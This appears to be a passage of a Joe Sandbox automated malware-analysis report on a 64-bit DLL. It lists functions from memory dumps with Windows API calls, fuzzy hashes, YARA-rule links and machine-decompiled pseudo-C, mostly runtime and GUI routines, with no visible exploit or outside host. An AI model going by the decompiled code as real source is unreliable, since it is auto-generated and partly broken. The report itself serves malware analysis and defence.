                                                                        • GetEnvironmentStrings.KERNEL32(?,?,?,?,?,?,?,?,10001618), ref: 10003D56
                                                                        • FreeEnvironmentStringsA.KERNEL32(?,?,?,?,?,?,?,?,10001618), ref: 10003D9D
                                                                        • FreeEnvironmentStringsA.KERNEL32(?,?,?,?,?,?,?,?,10001618), ref: 10003DCA
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: EnvironmentStrings$Free$ByteCharMultiWide$ErrorLast
                                                                        • String ID:
                                                                        • API String ID: 4109468225-0
                                                                        • Opcode ID: a1fcd66d37ee17a9ecd3a0f05b188a1b310f7796b50595c260955181f5c01ada
                                                                        • Instruction ID: 2db6b9f43c605f6ad4e31b6b5567afa8cc22be82ba90d5df7158e119374146fe
                                                                        • Opcode Fuzzy Hash: a1fcd66d37ee17a9ecd3a0f05b188a1b310f7796b50595c260955181f5c01ada
                                                                        • Instruction Fuzzy Hash: D9416D31A09B8086FB56CF12B94438AA7E9F78DBD0F498016DE8A53B5CDBBCD585C700
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10002CA0 Relevance: 14.0, APIs: 3, Strings: 5, Instructions: 46libraryloaderCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetModuleHandleA.KERNEL32(?,?,?,?,10002E0C,?,?,?,?,10002279,?,?,?,?,1000112C), ref: 10002CC0
                                                                        • GetProcAddress.KERNEL32(?,?,?,?,10002E0C,?,?,?,?,10002279,?,?,?,?,1000112C), ref: 10002CED
                                                                        • GetProcAddress.KERNEL32(?,?,?,?,10002E0C,?,?,?,?,10002279,?,?,?,?,1000112C), ref: 10002D04
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: AddressProc$HandleModule
                                                                        • String ID: C$C$DecodePointer$EncodePointer$KERNEL32.DLL
                                                                        • API String ID: 667068680-2823894051
                                                                        • Opcode ID: 3d5b766d762f2ea5aa26a7ff5a7ab25a2a0a9a2b6922661592831cd2c3213696
                                                                        • Instruction ID: 6e842c39453cece9c65e01244a3929005e6122fb01ea4f852a877395833932bf
                                                                        • Opcode Fuzzy Hash: 3d5b766d762f2ea5aa26a7ff5a7ab25a2a0a9a2b6922661592831cd2c3213696
                                                                        • Instruction Fuzzy Hash: 41210335206B8096E746CF21E8543C977A4F749BC8F884235DE8D0BB68DFB9C595C711
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 100092D0 Relevance: 13.6, APIs: 9, Instructions: 105COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 59%
                                                                        			E100092D0(void* __edi, void* __esi, void* __esp, long long __rcx, long long __rdx, intOrPtr _a4, long long _a8, long long _a16) {
				long long _v4;
				signed long long _v32;
				signed int _v44;
				long _v48;
				long _v52;
				char _v580;
				signed int _v596;
				intOrPtr _v660;
				long long _v676;
				long long _v684;
				long long _v692;
				intOrPtr _v700;
				void* _v708;
				intOrPtr _v712;
				long long _v732;
				long long _v748;
				char _v756;
				char _v784;
				signed int _v812;
				signed int _v820;
				void* _t48;
				int _t50;
				int _t52;
				signed int _t57;
				long _t60;
				signed int _t64;
				signed long long _t81;
				signed int _t85;
				intOrPtr _t98;
				intOrPtr _t104;
				void* _t110;
				signed long long _t111;

				_t106 = __rdx;
				_a16 = __rdx;
				_a8 = __rcx;
				_t111 = _t110 - 0x338;
				_t81 =  *0x10016058; // 0x9983997faf96
				_v32 = _t81 ^ _t111;
				memcpy(__edi, __esi, 0x28);
				_t68 = 0;
				r9d = 0xc8;
				_t98 =  *0x10018548;
				if(LoadStringW(??, ??, ??, ??) != 0) {
					_t48 = E10001180(_t47, 0x100182f0);
					_v812 =  &_v784;
					_v596 = 0;
					_t85 = _v812 + 0xe;
					__eflags = _t85;
					_v820 = _t85;
					while(1) {
						__eflags = _v812 - _v820;
						if(_v812 >= _v820) {
							break;
						}
						_t106 = _v596;
						 *((short*)(0x100182f0 + _v812 * 2)) =  *(_t111 + 0x38 + _v596 * 2) & 0x0000ffff;
						_v812 = _v812 + 1;
						_v596 = _v596 + 1;
					}
					r8d = 0x98;
					E10001200(_t48, _t68, 0,  &_v756, _t106, 0x100182f0);
					_v756 = 0x98;
					_v748 = _v4;
					_v708 =  &_v580;
					 *_v708 = 0;
					_v700 = 0x208;
					_v732 = 0x100182f0;
					_v712 = 1;
					_v692 = 0;
					_v684 = 0;
					_v676 = 0;
					_v660 = 0x1804;
					_t50 = GetOpenFileNameW(??);
					__eflags = _t50 - 1;
					if(_t50 == 1) {
						_t104 = _a4;
						_t52 = SetWindowTextW(??, ??);
						__eflags = _t52;
						if(_t52 == 0) {
							__eflags = GetLastError();
							if(__eflags > 0) {
								_t57 = GetLastError() & 0x0000ffff | 0x80070000;
								__eflags = _t57;
								_v48 = _t57;
							} else {
								_v48 = GetLastError();
							}
							_t68 = _v48;
							E10009260(_v48, 0, __eflags, _t104);
						}
					}
					goto L14;
				} else {
					_t60 = GetLastError();
					_t79 = _t60;
					if(_t60 > 0) {
						_t64 = GetLastError() & 0x0000ffff | 0x80070000;
						__eflags = _t64;
						_v52 = _t64;
					} else {
						_v52 = GetLastError();
					}
					_t68 = _v52;
					E10009260(_v52, 0x74, _t79, _t98);
					L14:
					return E10001050(_t68, _v44 ^ _t111);
				}
			}



































                                                                        0x100092d0
                                                                        0x100092d0
                                                                        0x100092d5
                                                                        0x100092dc
                                                                        0x100092e3
                                                                        0x100092ed
                                                                        0x1000930c
                                                                        0x1000930c
                                                                        0x1000930e
                                                                        0x10009320
                                                                        0x1000932f
                                                                        0x1000937e
                                                                        0x10009383
                                                                        0x10009388
                                                                        0x10009399
                                                                        0x10009399
                                                                        0x1000939d
                                                                        0x100093a2
                                                                        0x100093a7
                                                                        0x100093ac
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x100093ba
                                                                        0x100093c7
                                                                        0x100093d4
                                                                        0x100093e5
                                                                        0x100093e5
                                                                        0x100093ef
                                                                        0x100093fc
                                                                        0x10009401
                                                                        0x10009411
                                                                        0x1000941e
                                                                        0x1000942e
                                                                        0x10009433
                                                                        0x10009445
                                                                        0x1000944a
                                                                        0x10009455
                                                                        0x10009461
                                                                        0x1000946c
                                                                        0x10009478
                                                                        0x10009488
                                                                        0x1000948e
                                                                        0x10009491
                                                                        0x1000949b
                                                                        0x100094a3
                                                                        0x100094a9
                                                                        0x100094ab
                                                                        0x100094b3
                                                                        0x100094b5
                                                                        0x100094d6
                                                                        0x100094d6
                                                                        0x100094db
                                                                        0x100094b7
                                                                        0x100094bd
                                                                        0x100094bd
                                                                        0x100094e2
                                                                        0x100094e9
                                                                        0x100094e9
                                                                        0x100094ab
                                                                        0x00000000
                                                                        0x10009331
                                                                        0x10009331
                                                                        0x10009337
                                                                        0x10009339
                                                                        0x1000935a
                                                                        0x1000935a
                                                                        0x1000935f
                                                                        0x1000933b
                                                                        0x10009341
                                                                        0x10009341
                                                                        0x10009366
                                                                        0x1000936d
                                                                        0x100094ee
                                                                        0x10009507
                                                                        0x10009507

                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: ErrorLast$FileLoadNameOpenStringTextWindow
                                                                        • String ID:
                                                                        • API String ID: 2787627235-0
                                                                        • Opcode ID: 7794d11a6c9504786d172c28323ec86f923611c3890ee1227ed797316f61575c
                                                                        • Instruction ID: fccd535dff32268de5af935e83631e2791b6fe8c37c9215e48f3ee6ee4bb4e8d
                                                                        • Opcode Fuzzy Hash: 7794d11a6c9504786d172c28323ec86f923611c3890ee1227ed797316f61575c
                                                                        • Instruction Fuzzy Hash: 0151D532609B8086E772CB11E8453DA77A4F788784F504125DACD83B68DFBCC699CB04
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10007E70 Relevance: 10.7, APIs: 7, Instructions: 179COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: ByteCharMultiWide$Info
                                                                        • String ID:
                                                                        • API String ID: 1775632426-0
                                                                        • Opcode ID: f4c84ae038fc7571a0cef0046eacf08c5ae4c75e9659238b214792b78aa3dae5
                                                                        • Instruction ID: f64558495b479d7493b23b7b8ee0e9f64c3ff6d9fbcef5c94621339a2b497b47
                                                                        • Opcode Fuzzy Hash: f4c84ae038fc7571a0cef0046eacf08c5ae4c75e9659238b214792b78aa3dae5
                                                                        • Instruction Fuzzy Hash: F8616D32700B808AE754CF62A94039A77E5F748BE8F544629EEAD87B9CDF78C594C740
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 100109C0 Relevance: 10.6, APIs: 7, Instructions: 91COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetFullPathNameW.KERNEL32 ref: 10010A00
                                                                          • Part of subcall function 10001070: RtlAllocateHeap.NTDLL ref: 100010D1
                                                                        • GetFullPathNameW.KERNEL32 ref: 10010A4A
                                                                        • GetLastError.KERNEL32 ref: 10010A54
                                                                        • GetLastError.KERNEL32 ref: 10010A5E
                                                                        • SysFreeString.OLEAUT32 ref: 10010B3F
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: ErrorFullLastNamePath$AllocateFreeHeapString
                                                                        • String ID:
                                                                        • API String ID: 1190009035-0
                                                                        • Opcode ID: 9e0f029323aed1002db3173afecf4b452a4e4e3cb3535429c6bc94cbbd3d8e53
                                                                        • Instruction ID: 9ea5f5571a3dc6eabb2527a00bad664e16cc2b2966883d7a59a560a1b1e2719a
                                                                        • Opcode Fuzzy Hash: 9e0f029323aed1002db3173afecf4b452a4e4e3cb3535429c6bc94cbbd3d8e53
                                                                        • Instruction Fuzzy Hash: E441A036628A81C6D710DB55E49438ABBB0F7C9B94F604116FBCA4BB28CFBDC484CB40
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10007470 Relevance: 9.2, APIs: 6, Instructions: 167COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 36%
                                                                        			E10007470(int __edx, long long __rbx, intOrPtr* __rcx, signed long long __rdi, long long __rsi, signed long long __r8, void* __r10, void* __r11, long long __r12, long long __r13, long long __r14, long long __r15) {
				int _t47;
				int _t48;
				int _t56;
				void* _t57;
				int _t59;
				int _t65;
				void* _t72;
				int _t76;
				int _t77;
				int _t78;
				int _t83;
				signed long long _t93;
				signed long long _t94;
				signed long long _t97;
				signed long long _t101;
				void* _t106;
				void* _t108;
				signed long long _t111;
				signed long long _t116;
				void* _t118;
				void* _t119;
				void* _t130;
				void* _t131;
				intOrPtr* _t133;
				int _t135;
				signed long long _t139;

				_t141 = __r15;
				_t136 = __r13;
				_t131 = __r11;
				_t130 = __r10;
				_t113 = __rsi;
				_t111 = __rdi;
				_t99 = __rbx;
				 *((intOrPtr*)(_t118 + 0x20)) = r9d;
				_t119 = _t118 - 0x80;
				_t116 = _t119 + 0x30;
				 *((long long*)(_t116 + 0x48)) = __rbx;
				 *((long long*)(_t116 + 0x40)) = __rsi;
				 *((long long*)(_t116 + 0x38)) = __rdi;
				 *((long long*)(_t116 + 0x30)) = __r12;
				 *((long long*)(_t116 + 0x28)) = __r13;
				 *((long long*)(_t116 + 0x20)) = __r14;
				 *((long long*)(_t116 + 0x18)) = __r15;
				_t93 =  *0x10016058; // 0x9983997faf96
				_t94 = _t93 ^ _t116;
				 *(_t116 + 8) = _t94;
				_t47 =  *0x10017ed8; // 0x1
				_t139 = __r8;
				r15d = __edx;
				_t133 = __rcx;
				if(_t47 != 0) {
					L12:
					if(_t47 == 2 || _t47 == 0) {
						goto L5;
					} else {
						if(_t47 != 1) {
							goto L10;
						} else {
							goto L15;
						}
					}
				} else {
					r8d = 1;
					_t67 = r8d;
					if(GetStringTypeW(??, ??, ??, ??) == 0) {
						if(GetLastError() != 0x78) {
							_t47 =  *0x10017ed8; // 0x1
							goto L12;
						} else {
							 *0x10017ed8 = 2;
							L5:
							_t77 =  *(_t116 + 0x90);
							if(_t77 == 0) {
								_t94 =  *_t133;
								_t77 =  *(_t94 + 0x14);
							}
							_t65 =  *(_t116 + 0x88);
							if(_t65 == 0) {
								_t94 =  *_t133;
								_t65 =  *(_t94 + 4);
							}
							_t67 = _t77;
							_t48 = E10007E00();
							if(_t48 != 0xffffffff) {
								if(_t48 == _t65) {
									L37:
									_t95 =  *((intOrPtr*)(_t116 + 0x80));
									r9d =  *((intOrPtr*)(_t116 + 0x78));
									_t67 = _t77;
									 *(_t119 + 0x20) =  *((intOrPtr*)(_t116 + 0x80));
									GetStringTypeA(??, ??, ??, ??, ??);
									if(_t111 != 0) {
										E10001140(_t95, _t111);
									}
								} else {
									_t67 = _t65;
									 *((intOrPtr*)(_t119 + 0x28)) = 0;
									 *(_t119 + 0x20) = _t111;
									E10007E70(_t65, _t48, _t77, _t99, _t111, _t113, _t139, _t116 + 0x78, _t130, _t131, _t133, _t136, _t139, _t141);
									_t111 = _t94;
									if(_t94 == 0) {
										goto L10;
									} else {
										_t139 = _t94;
										goto L37;
									}
								}
							} else {
								goto L10;
							}
						}
					} else {
						 *0x10017ed8 = 1;
						L15:
						_t78 =  *(_t116 + 0x88);
						_t76 = 0;
						if(_t78 == 0) {
							_t78 =  *( *_t133 + 4);
						}
						r9d =  *((intOrPtr*)(_t116 + 0x78));
						_t67 = _t78;
						_t72 =  !=  ? 9 : 1;
						 *((intOrPtr*)(_t119 + 0x28)) = _t76;
						 *(_t119 + 0x20) = _t111;
						_t56 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
						_t83 = _t56;
						_t135 = _t56;
						if(_t83 == 0 || _t83 <= 0) {
							L10:
						} else {
							_t96 = 0xfffffff0;
							if(_t135 > 0xfffffff0) {
								goto L10;
							} else {
								_t106 = _t135 + _t135 + 0x10;
								if(_t106 > 0x400) {
									_t57 = E10001070(0xfffffff0, _t99, _t106, _t111, _t113);
									_t101 = 0xfffffff0;
									if(0xfffffff0 != 0) {
										 *0xfffffff0 = 0xdddd;
										goto L27;
									}
									goto L28;
								} else {
									_t97 = _t106 + 0xf;
									if(_t97 <= _t106) {
										_t97 = 0xfffffff0;
									}
									_t96 = _t97 & 0xfffffff0;
									_t57 = E10010CE0(_t56, _t96, _t130, _t131);
									_t119 = _t119 - _t96;
									_t101 = _t119 + 0x30;
									if(_t101 == 0) {
										goto L10;
									} else {
										 *_t101 = 0xcccc;
										L27:
										_t101 = _t101 + 0x10;
										L28:
										if(_t101 == 0) {
											goto L10;
										} else {
											E10001200(_t57, _t67, 0, _t101, 0x10011c14, _t135 + _t135);
											r9d =  *((intOrPtr*)(_t116 + 0x78));
											_t67 = _t78;
											 *((intOrPtr*)(_t119 + 0x28)) = r12d;
											 *(_t119 + 0x20) = _t101;
											_t59 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
											if(_t59 != 0) {
												r8d = _t59;
												_t67 = r15d;
												_t76 = GetStringTypeW(??, ??, ??, ??);
											}
											_t31 = _t101 - 0x10; // -16
											_t108 = _t31;
											if( *((intOrPtr*)(_t101 - 0x10)) == 0xdddd) {
												E10001140(_t96, _t108);
											}
										}
									}
								}
							}
						}
					}
				}
				return E10001050(_t67,  *(_t116 + 8) ^ _t116);
			}





























                                                                        0x10007470
                                                                        0x10007470
                                                                        0x10007470
                                                                        0x10007470
                                                                        0x10007470
                                                                        0x10007470
                                                                        0x10007470
                                                                        0x10007470
                                                                        0x10007476
                                                                        0x1000747d
                                                                        0x10007482
                                                                        0x10007486
                                                                        0x1000748a
                                                                        0x1000748e
                                                                        0x10007492
                                                                        0x10007496
                                                                        0x1000749a
                                                                        0x1000749e
                                                                        0x100074a5
                                                                        0x100074a8
                                                                        0x100074ac
                                                                        0x100074b2
                                                                        0x100074b5
                                                                        0x100074ba
                                                                        0x100074bd
                                                                        0x10007543
                                                                        0x10007546
                                                                        0x00000000
                                                                        0x1000754c
                                                                        0x1000754f
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x1000754f
                                                                        0x100074c3
                                                                        0x100074c3
                                                                        0x100074d4
                                                                        0x100074df
                                                                        0x100074f6
                                                                        0x1000753d
                                                                        0x00000000
                                                                        0x100074f8
                                                                        0x100074f8
                                                                        0x10007502
                                                                        0x10007502
                                                                        0x1000750c
                                                                        0x1000750e
                                                                        0x10007512
                                                                        0x10007512
                                                                        0x10007515
                                                                        0x1000751d
                                                                        0x1000751f
                                                                        0x10007523
                                                                        0x10007523
                                                                        0x10007526
                                                                        0x10007528
                                                                        0x10007530
                                                                        0x1000766a
                                                                        0x10007694
                                                                        0x10007694
                                                                        0x1000769b
                                                                        0x100076a5
                                                                        0x100076a7
                                                                        0x100076ac
                                                                        0x100076b7
                                                                        0x100076bc
                                                                        0x100076bc
                                                                        0x1000766c
                                                                        0x10007675
                                                                        0x10007677
                                                                        0x1000767b
                                                                        0x10007680
                                                                        0x10007688
                                                                        0x1000768b
                                                                        0x00000000
                                                                        0x10007691
                                                                        0x10007691
                                                                        0x00000000
                                                                        0x10007691
                                                                        0x1000768b
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x10007530
                                                                        0x100074e1
                                                                        0x100074e1
                                                                        0x10007551
                                                                        0x10007551
                                                                        0x10007557
                                                                        0x1000755b
                                                                        0x10007561
                                                                        0x10007561
                                                                        0x1000756a
                                                                        0x1000757b
                                                                        0x1000757d
                                                                        0x10007580
                                                                        0x10007584
                                                                        0x10007589
                                                                        0x1000758f
                                                                        0x10007591
                                                                        0x10007594
                                                                        0x10007536
                                                                        0x10007598
                                                                        0x10007598
                                                                        0x100075a5
                                                                        0x00000000
                                                                        0x100075a7
                                                                        0x100075a7
                                                                        0x100075b3
                                                                        0x100075ea
                                                                        0x100075f2
                                                                        0x100075f5
                                                                        0x100075f7
                                                                        0x00000000
                                                                        0x100075f7
                                                                        0x00000000
                                                                        0x100075b5
                                                                        0x100075b5
                                                                        0x100075bc
                                                                        0x100075be
                                                                        0x100075be
                                                                        0x100075c8
                                                                        0x100075cc
                                                                        0x100075d1
                                                                        0x100075d4
                                                                        0x100075dc
                                                                        0x00000000
                                                                        0x100075e2
                                                                        0x100075e2
                                                                        0x100075fd
                                                                        0x100075fd
                                                                        0x10007601
                                                                        0x10007604
                                                                        0x00000000
                                                                        0x1000760a
                                                                        0x10007613
                                                                        0x10007618
                                                                        0x10007624
                                                                        0x10007626
                                                                        0x1000762b
                                                                        0x10007630
                                                                        0x10007638
                                                                        0x10007641
                                                                        0x10007647
                                                                        0x10007650
                                                                        0x10007650
                                                                        0x10007659
                                                                        0x10007659
                                                                        0x1000765d
                                                                        0x1000765f
                                                                        0x1000765f
                                                                        0x10007664
                                                                        0x10007604
                                                                        0x100075dc
                                                                        0x100075b3
                                                                        0x100075a5
                                                                        0x10007594
                                                                        0x100074df
                                                                        0x100076f0

                                                                        APIs
                                                                        • GetStringTypeW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000A,10007822), ref: 100074D7
                                                                        • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000A,10007822), ref: 100074ED
                                                                          • Part of subcall function 10001070: RtlAllocateHeap.NTDLL ref: 100010D1
                                                                        • MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000A,10007822), ref: 10007589
                                                                        • MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000A,10007822), ref: 10007630
                                                                        • GetStringTypeW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000A,10007822), ref: 1000764A
                                                                        • GetStringTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000A,10007822), ref: 100076AC
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: StringType$ByteCharMultiWide$AllocateErrorHeapLast
                                                                        • String ID:
                                                                        • API String ID: 2745877085-0
                                                                        • Opcode ID: e92e52cba23446bebfe9696adbc2e1b2aded2fbfc6d51b623271dc5824f35bb5
                                                                        • Instruction ID: c51737bf223ffeb6172b951f460e1aeaebc9f880c980b9f790ffc674ee61dbc6
                                                                        • Opcode Fuzzy Hash: e92e52cba23446bebfe9696adbc2e1b2aded2fbfc6d51b623271dc5824f35bb5
                                                                        • Instruction Fuzzy Hash: 9A617D32B00A808AEB61CF25D8407D937E1F74CBE8F554215EE9D87B98DBB8D984C740
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 100082C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33windowregistryCOMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 32%
                                                                        			E100082C0(void* __ecx, long long __rcx, long long _a8) {
				long long _v16;
				long long _v24;
				long long _v40;
				long long _v48;
				long long _v56;
				long long _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				long long _v80;
				intOrPtr _v84;
				char _v88;
				void* _t19;
				long long _t33;
				void* _t40;
				void* _t41;

				_a8 = __rcx;
				r8d = 0x50;
				E10001200(_t19, __ecx, 0,  &_v88, _t40, _t41);
				_v88 = 0x50;
				_v84 = 3;
				_v80 = 0x10008220;
				_v72 = 0;
				_v68 = 0;
				_t33 = _a8;
				_v64 = _t33;
				LoadIconW(??, ??);
				_v56 = _t33;
				LoadCursorW(??, ??);
				_v48 = _t33;
				_v40 = 6;
				_v24 = 0x10018480;
				LoadIconW(??, ??);
				_v16 = 0x10018480;
				return RegisterClassExW(??);
			}


















                                                                        0x100082c0
                                                                        0x100082c9
                                                                        0x100082d6
                                                                        0x100082db
                                                                        0x100082e3
                                                                        0x100082f2
                                                                        0x100082f7
                                                                        0x100082ff
                                                                        0x10008307
                                                                        0x1000830f
                                                                        0x10008321
                                                                        0x10008327
                                                                        0x10008333
                                                                        0x10008339
                                                                        0x1000833e
                                                                        0x1000834e
                                                                        0x1000835d
                                                                        0x10008363
                                                                        0x10008377

                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: Load$Icon$ClassCursorRegister
                                                                        • String ID: P
                                                                        • API String ID: 4202395251-3110715001
                                                                        • Opcode ID: edce1cf8835ead0dc26f53495672bf612779504f2bc5d5f895309543060ebcfc
                                                                        • Instruction ID: a64f5a70b80c95be3654b4ee3ebbd41cdd235e68e4e5082a02a7d5fb70e05a3d
                                                                        • Opcode Fuzzy Hash: edce1cf8835ead0dc26f53495672bf612779504f2bc5d5f895309543060ebcfc
                                                                        • Instruction Fuzzy Hash: A411C576219F8086E7618B10F89438BB7A5F3C8785F504125E6CE82B68DF7DC659CB40
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10002B00 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28libraryloaderCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • FlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,10004589), ref: 10002B14
                                                                        • GetModuleHandleA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,10004589), ref: 10002B2F
                                                                        • GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,10004589), ref: 10002B44
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: AddressHandleModuleProcValue
                                                                        • String ID: EncodePointer$KERNEL32.DLL
                                                                        • API String ID: 144840598-3682587211
                                                                        • Opcode ID: b43cd38b87d2237572bace04eda152df94a823c3c6e8837b078530736d5e9a66
                                                                        • Instruction ID: d32e85100f93ac273642906119e7573018bcf5262d4515cc2329d275f3897c0e
                                                                        • Opcode Fuzzy Hash: b43cd38b87d2237572bace04eda152df94a823c3c6e8837b078530736d5e9a66
                                                                        • Instruction Fuzzy Hash: 89F0F83074260491FE4A8F51A8943A423A1EB4DBD1F985524CD5E0A7A4DF78D8C6C310
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10002BD0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28libraryloaderCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
